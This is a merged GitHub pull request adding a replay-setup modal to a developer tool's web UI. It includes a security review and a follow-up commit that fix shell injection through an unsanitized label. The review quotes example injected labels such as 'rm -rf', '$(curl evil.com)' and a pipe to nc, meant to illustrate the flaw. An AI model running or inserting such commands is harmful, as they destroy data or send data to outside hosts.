Skip to content

feat(web): replay setup UI (Phase 2) + v0.12.12 - #139

Merged
risjai merged 1 commit into
masterfrom
feat/web-replay-setup-phase2
Apr 24, 2026
Merged

risjai merged 1 commit into
masterfrom
feat/web-replay-setup-phase2

Conversation

@risjai

@risjai risjai commented Apr 24, 2026

Copy link
Copy Markdown
Collaborator

Summary

Phase 2 of the fork/replay web UI. Adds the "Set up replay…" flow next to the existing "Fork from here" button in the StepDetailPanel. Mirrors the MCP replay_session tool's mental model: creates a fork server-side, then shows the user the exact rewind replay CLI command to run.

User flow

  1. Click "Set up replay…" on any step.
  2. Modal opens with a replay-from-{N} default label.
  3. Submit → POST /api/sessions/{id}/fork creates the fork.
  4. Modal switches to an Instructions panel with:
    • Shell command: rewind replay <session-id-prefix> --from <N> --label <label>
    • One-click Copy button (with Copied! feedback)
    • Short explainer about what the replay does (cached steps 1..N, live upstream after)
  5. User runs the command in their terminal → agent hits the replay proxy → new steps stream into the fork timeline via the existing WebSocket (which Phase 1 already fixed to filter by timeline_id).
  6. Click Done → modal closes, UI navigates to the new fork so the user can watch their replay land.

Scope decision worth flagging

The original plan called for calling createReplayContext on replay submit. I skipped it after re-reading what the CLI actually does: rewind replay creates its own fork + context on run. A pre-created context here would be unused and would consume one of the 100 server slots. MCP's replay_session tool doesn't do it either — it returns instructions and lets the CLI handle context lifecycle. The createReplayContext/deleteReplayContext API wrappers landed in Phase 1 remain in lib/api.ts for a future in-browser-proxy phase.

TDD evidence

  • RED: added 5 replay-mode tests to ForkReplayModal.test.tsx. Initial run: 5 failed / 123 passed.
  • GREEN: implemented the two-phase modal (input → instructions). Final: 128/128 pass.
  • Tests cover: default label replay-from-{N}, title and primary button text, instructions-panel content (command + cache explainer + no auto-close), Copy button writes the exact command to navigator.clipboard, Done navigates to the new fork, error path stays on the input state.

Versions

Released v0.12.11 landed yesterday (Phase 1). Web dist is embedded in the binary, so Phase 2's web changes need a new binary:

  • Rust workspace: 0.12.11 → 0.12.12
  • python/rewind_cli.py CLI_VERSION: 0.12.11 → 0.12.12
  • python-mcp/pyproject.toml + python-mcp/rewind_mcp_cli.py: 0.12.11 → 0.12.12
  • Cargo.lock auto-updated.
  • Python SDK: untouched.

Post-merge: cut GitHub Release v0.12.12.

Test plan

  • cd web && npm test — 128/128 pass (5 new replay-mode tests + 123 prior)
  • cd web && npm run build — clean (tsc + vite)
  • cargo build --release --bin rewind — clean
  • Confirmed served bundle contains the new strings: Set up replay, rewind replay, Creating fork…, replay-from-, Copied
  • POST /api/sessions/{id}/fork succeeds end-to-end with the shape the UI sends (label replay-from-3)
  • Confirmed the displayed command (rewind replay <8-char-prefix> --from N --label <label>) matches the CLI's actual option names ([SESSION] --from <FROM> --label <LABEL>)
  • Live Playwright click-through was attempted but Chrome launch is blocked by a macOS admin policy on this host. Reviewer should smoke-test by hand on the Vercel preview or a local build; the unit tests cover the same paths.

Out of scope

  • Phase 3: Diff against parent shortcut, ActivityTimeline bar-chart affordance
  • Phase 4: in-browser proxy spawn (flagged for its own spec)

🤖 Generated with Claude Code

Adds the "Set up replay…" flow to ForkReplayModal. Users on the
StepDetailPanel now see two actions: Fork from here (Phase 1) and
Set up replay… (Phase 2, new).

Replay flow mirrors the MCP replay_session tool's mental model:

1. User clicks "Set up replay…" on any step in StepDetailPanel.
2. Modal opens with mode='replay', default label 'replay-from-{N}'.
3. On submit, POSTs /api/sessions/{id}/fork (same as fork mode).
4. Instead of auto-closing, the modal switches to an instructions
   state showing the exact shell command:
     rewind replay <session-id-prefix> --from <N> --label <label>
5. User copies the command (one-click Copy with visual feedback),
   runs it in their terminal, points their agent at the replay proxy
   on 127.0.0.1:8443. New steps stream into the fork timeline via
   the existing WebSocket.
6. User clicks Done → modal closes and the UI navigates to the new
   fork so they can watch replay steps land.

Scope decision: did NOT call createReplayContext here, even though
the plan included it. The rewind replay CLI creates its own fork +
context on run, so a pre-created context would be unused and would
consume one of the 100 server slots. The api.ts wrappers for
createReplayContext/deleteReplayContext are kept for a future
in-browser-proxy phase, but unwired for now. This matches MCP's
actual behavior (MCP returns instructions; it never holds the
context on behalf of the CLI).

TDD:
- RED: added 5 replay-mode tests (label default, instructions panel,
  Copy button, Done-then-navigate, error stays on input state).
  Initial run: 5 failures / 123 pass.
- GREEN: implemented two-phase modal (input → instructions).
  Final: 128/128 pass.

Version 0.12.11 → 0.12.12: web dist is embedded in the release
binary and v0.12.11 already shipped yesterday (Phase 1), so any web
change requires a new binary tag. All 5 version-tracked files
bumped per project CLAUDE.md.

Manual verification:
- Built release binary 0.12.12 → confirmed bundle hash change and
  served JS contains the new strings ('Set up replay', 'rewind
  replay', 'Creating fork…', 'replay-from-', 'Copied').
- POST /fork succeeds with the exact shape the UI sends.
- Verified `rewind replay <session> --from N --label <label>` is
  the CLI's supported signature (--help output matches).

Playwright E2E was attempted but Chrome launch is blocked by a
macOS admin policy on this host. The same paths are covered by
the new integration-style vitest suite against a mocked api client.

Co-Authored-By: Claude Opus 4.7 <[email protected]>
@vercel

vercel Bot commented Apr 24, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
rewind Ready Ready Preview, Comment Apr 24, 2026 2:24am

@risjai
risjai enabled auto-merge (squash) April 24, 2026 02:24
@risjai
risjai merged commit 704d23e into master Apr 24, 2026
6 checks passed
@risjai
risjai deleted the feat/web-replay-setup-phase2 branch April 24, 2026 02:29

@risjai risjai left a comment

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Santa Method Review: NAUGHTY (2 critical, 2 important)

Two independent reviewers evaluated this PR with no shared context. Both converged on the same critical issues.

CRITICAL-1: Shell injection via label in clipboard command

Both reviewers flagged this independently.

ForkReplayModal.tsx:64 constructs:

const replayCommand = `rewind replay ${shortSessionId} --from ${atStep} --label ${effectiveLabel}`

effectiveLabel is user-provided text with no sanitization. A label like foo; rm -rf ~ or $(curl attacker.com) produces a dangerous command that the UI presents as safe to copy-paste into a terminal.

The <code> block is safe (React escapes JSX), and the backend uses parameterized SQL — so no XSS or SQLi. The risk is the clipboard → terminal trust boundary: the UI generates the command, the user trusts it.

Fix: Either (a) restrict labels to [a-zA-Z0-9._-]+ via input validation, or (b) shell-quote the label: `--label '${effectiveLabel.replace(/'/g, "'\\''")}' `. Option (a) is simpler and also prevents the backend from storing problematic labels.

CRITICAL-2: Double-fork on replay (pre-existing, not a regression)

Both reviewers flagged this independently.

The web UI calls api.forkSession() creating Fork A, then shows rewind replay <prefix> --from N --label L. But rewind replay (at crates/rewind-cli/src/main.rs) internally calls engine.fork() creating Fork B. The web UI navigates to Fork A (which will never receive replay steps). The CLI writes to Fork B. The user sees an empty timeline.

Reviewer C correctly identified this is pre-existing — the MCP server's replay_session tool has the same pattern (server.rs:548-549 creates a fork, then generates CLI instructions that create another). The web UI faithfully mirrors MCP's behavior, so this is not a regression from this PR.

Fix (separate PR): Add a --fork-id flag to the Replay CLI subcommand so the CLI can reuse a pre-created fork, or skip the web-side fork for replay mode and let the CLI handle both fork + context creation.

Important-1: setTimeout leak in handleCopy

setTimeout(() => setCopied(false), 2000) at line 96 has no cleanup. If the modal unmounts before the timer fires, setCopied fires on stale state. React 18+ tolerates this silently, but it's a correctness issue with rapid open/close cycles.

Fix: Store the timer ID in a ref, clear in a cleanup effect.

Important-2: No focus management on phase transition

When the modal switches from input to instructions, the focused element (submit button) is removed. Focus falls to <body>. Keyboard-only and screen reader users must Tab back into the modal.

Fix: Add autoFocus to the Done button, or use a useEffect that focuses it when phase changes to 'instructions'. Also add aria-live="polite" to the success banner.

Minor items (non-blocking)

  • mode not in the reset useEffect dependency array — works today but fragile
  • IIFE for icon rendering ({(() => { const Icon = primaryIcon; return <Icon ... /> })()}) — can simplify to React.createElement(primaryIcon, { size: 12 })
  • Clipboard mock (Object.assign(navigator, ...)) not restored in test afterEach

What's done well

  • TDD discipline with documented red→green cycle
  • Clean close callback design (deferred navigation for replay mode)
  • 8-char session prefix matches MCP convention
  • Version bump complete across all 5 files
  • State reset thorough on modal reopen
  • Scope discipline — no unnecessary changes

Recommended action

  1. CRITICAL-1: Fix the shell injection (follow-up PR since this is merged)
  2. CRITICAL-2: File a follow-up issue for the double-fork problem (affects MCP too)
  3. Important-1 + Important-2: Bundle into a quick polish PR


const effectiveLabel = label.trim() || defaultLabel
const shortSessionId = sessionId.slice(0, 8)
const replayCommand = `rewind replay ${shortSessionId} --from ${atStep} --label ${effectiveLabel}`

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SANTA — CRITICAL, both reviewers] Shell injection: effectiveLabel is user input interpolated into a shell command that goes to clipboard. foo; rm -rf / or $(curl evil.com) are valid labels. The <code> display is safe (React escapes), but when the user pastes this into a terminal, the shell interprets it.

Fix: Restrict labels to [a-zA-Z0-9._-]+ at input time, or shell-quote: --label '${effectiveLabel.replace(/'/g, "'\\''")}'

setStatus('submitting')
setError('')
try {
const res = await api.forkSession(sessionId, {

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SANTA — CRITICAL, both reviewers] This creates Fork A. Then the rewind replay command shown to the user (line 64) will create Fork B when run. The user is navigated to Fork A (line 80/close callback), but replay steps land on Fork B. Result: user sees an empty timeline.

Reviewer C confirmed this is pre-existing — MCP's replay_session tool has the same double-fork pattern at server.rs:548-549. Not a regression, but the web UI makes it more visible.

Fix (separate PR): Add --fork-id to the CLI's Replay subcommand so it can reuse a pre-created fork.

try {
await navigator.clipboard.writeText(replayCommand)
setCopied(true)
setTimeout(() => setCopied(false), 2000)

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SANTA — Important, Reviewer B] This setTimeout has no cleanup. If the modal unmounts before 2s elapse, setCopied fires on unmounted state. React 18+ swallows this, but it's a correctness issue with rapid open/close.

Fix: Store timer ID in a ref, clearTimeout in the reset effect or an unmount cleanup.

{status === 'submitting' ? (
<><Loader2 size={12} className="animate-spin" /> {primaryLabelPending}</>
) : (
<>{(() => { const Icon = primaryIcon; return <Icon size={12} /> })()} {primaryLabel}</>

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SANTA — Nit, both reviewers] This IIFE is unnecessary. primaryIcon is already a component reference. Simplify:

const PrimaryIcon = primaryIcon
// ...
<PrimaryIcon size={12} />

Or: {React.createElement(primaryIcon, { size: 12 })}

</button>
</div>
</>
) : (

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SANTA — Important, both reviewers] When the modal transitions from input to instructions, the submit button is removed and focus falls to <body>. Keyboard-only users are stranded outside the modal.

Fix: Add autoFocus to the Done button. Add aria-live="polite" to the success banner div (line 192) so screen readers announce the phase change.

shivam2199 pushed a commit to shivam2199/rewind that referenced this pull request Apr 29, 2026
Addresses the Santa-method review on agentoptics#139. One critical fix, two
important UX/a11y fixes, several nits.

CRITICAL-1 — shell injection via label
  The replay-setup modal builds a shell command (rewind replay ...
  --label L) that the UI asks the user to paste into a terminal. L
  was user-controlled with no validation, so labels like
    foo; rm -rf /
    foo$(curl evil.com)
    foo`whoami`
    foo | nc evil 1
  produced dangerous commands. React escaping on the <code> display
  didn't help — the risk is the clipboard → terminal trust boundary.

  Fix: validate labels against /^[A-Za-z0-9._-]+$/ at input time.
  Invalid labels disable the submit button, add aria-invalid on the
  input, and show an inline hint "Use letters, numbers, dot, dash,
  underscore only." handleSubmit short-circuits if labelIsValid
  is false as belt-and-suspenders.

  7 parametrized tests cover the main shell metachars (semicolon,
  backtick, $(), pipe, ampersand, space, quote) plus an explicit
  "never calls forkSession when invalid" check.

Important-1 — setTimeout leak in handleCopy
  setTimeout(() => setCopied(false), 2000) had no cleanup, so a
  modal unmount between the copy click and the 2s reset would call
  setState on a disposed component. Fixed by storing the timer ID
  in a ref, clearing it in the reset useEffect, and adding an
  unmount cleanup effect. Test asserts no "unmounted component"
  warnings after advancing fake timers past the unmount.

Important-2 — focus lost on phase transition (a11y)
  When the modal flipped from the input phase to the instructions
  phase, the focused submit button was unmounted and focus fell to
  <body>. Keyboard-only users had to Tab back into the modal.
  Added a useEffect that focuses the Done button ref whenever
  phase changes to 'instructions'. Also added role="status"
  aria-live="polite" to the success banner so screen readers
  announce the change.

Nits applied
  - Removed the IIFE icon-rendering pattern. Use `const PrimaryIcon
    = mode === 'fork' ? GitBranch : Play` then `<PrimaryIcon />`.
  - Added `mode` to the reset-effect dependency array so a mode
    change at mount time would reset state correctly (defensive —
    no caller changes mode today).
  - Clipboard mock restore in test afterEach so it doesn't leak
    between tests.

Version 0.12.12 → 0.12.13. Web dist embedded in the release
binary; v0.12.12 already shipped, so any web change needs a new
tag. All 5 version-tracked files bumped per project CLAUDE.md.

Tests: 140/140 pass (was 131; +9 new polish tests).
Build: clean.

Double-fork issue (CRITICAL-2 from the review) is filed as agentoptics#140 —
pre-existing, affects MCP too, needs a new CLI --fork-id flag to
fix properly. Not included here.

Co-Authored-By: Claude Opus 4.7 <[email protected]>
shivam2199 pushed a commit to shivam2199/rewind that referenced this pull request Apr 29, 2026
Covers the features shipped in PRs agentoptics#138, agentoptics#139, agentoptics#141, agentoptics#142, agentoptics#144, agentoptics#145,
agentoptics#146. Adds 6 screenshots under assets/ and wires them into the docs.

## Files updated

- **docs/web-ui.md** — new "Fork & Replay" section covering fork from
  step, set up replay, diff against parent, delete fork. Adds a
  "Keyboard accessibility" section documenting group-focus-within and
  the destructive-dialog focus trap. Screenshots for each workflow.
- **docs/replay-and-forking.md** — new "From the Web UI" subsection
  under Replay from failure showing the generated command
  (`rewind replay … --fork-id …`) and a note on the delete affordance.
- **docs/cli-reference.md** — `rewind replay` row documents `--fork-id`
  and explains it's set by MCP / web UI to avoid double-forking.
- **docs/mcp-server.md** — `replay_session` tool row notes the command
  it returns includes `--fork-id` and requires `rewind` CLI ≥ 0.12.16.
- **README.md** — web-dashboard paragraph mentions the new fork /
  replay / diff / delete affordances with a link to web-ui.md.

## Screenshots

- assets/web-fork-replay-buttons.png — list-mode step detail showing
  the "Fork from here" and "Set up replay…" buttons.
- assets/web-fork-modal.png — fork confirmation modal with label input.
- assets/web-activity-timeline-hover.png — timeline-mode swim lanes
  with fork/replay icons available on bar hover.
- assets/web-replay-setup-instructions.png — replay setup instructions
  panel with the shell command, fork-id included, and Copy button.
- assets/web-diff-against-parent.png — TimelineSelector with the
  "Diff against parent" button visible for a non-root fork.
- assets/web-delete-fork.png — delete confirmation dialog + trash icon
  on the fork pill.

## Not included (intentional)

- No CHANGELOG.md updates — this repo doesn't maintain one.
- No PRODUCT-SUMMARY.md updates — file is no longer in the repo.
- No screenshots for backend-only changes (DELETE endpoint, CLI
  --fork-id flag) — text-only additions suffice there.

Co-Authored-By: Claude Opus 4.7 <[email protected]>

This branch was successfully deployed

1 active deployment
Preview — 7f69efca Deployed Apr 24, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant